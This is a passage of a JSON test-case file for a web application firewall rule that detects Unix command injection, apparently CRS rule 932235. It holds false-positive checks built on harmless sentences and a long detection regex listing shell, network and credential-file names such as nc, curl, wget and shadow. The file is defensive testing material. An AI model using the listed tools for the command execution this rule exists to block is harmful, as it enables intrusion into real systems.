ell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "FP against `Straße; links Haus Nr. 104` matching `; links`" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=He was working three full-time jobs at Meta, IBM, and Tinder.\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)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\|]|$)|a(?:dd(?:group|user)|getty|(?:l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|nsible|p(?:parmor_[^\\s\\x0b]{1,10}\\b|t(?:-get|itude(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "FP against `three full-time jobs` matching `full-time jobs`" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=now-legendary take on Catwoman turned the character into a timeless cinematic icon.\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\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:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|nsible|p(?:parmor_[^\\s\\x0b]{1,10}\\b|t(?:-get|itude(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<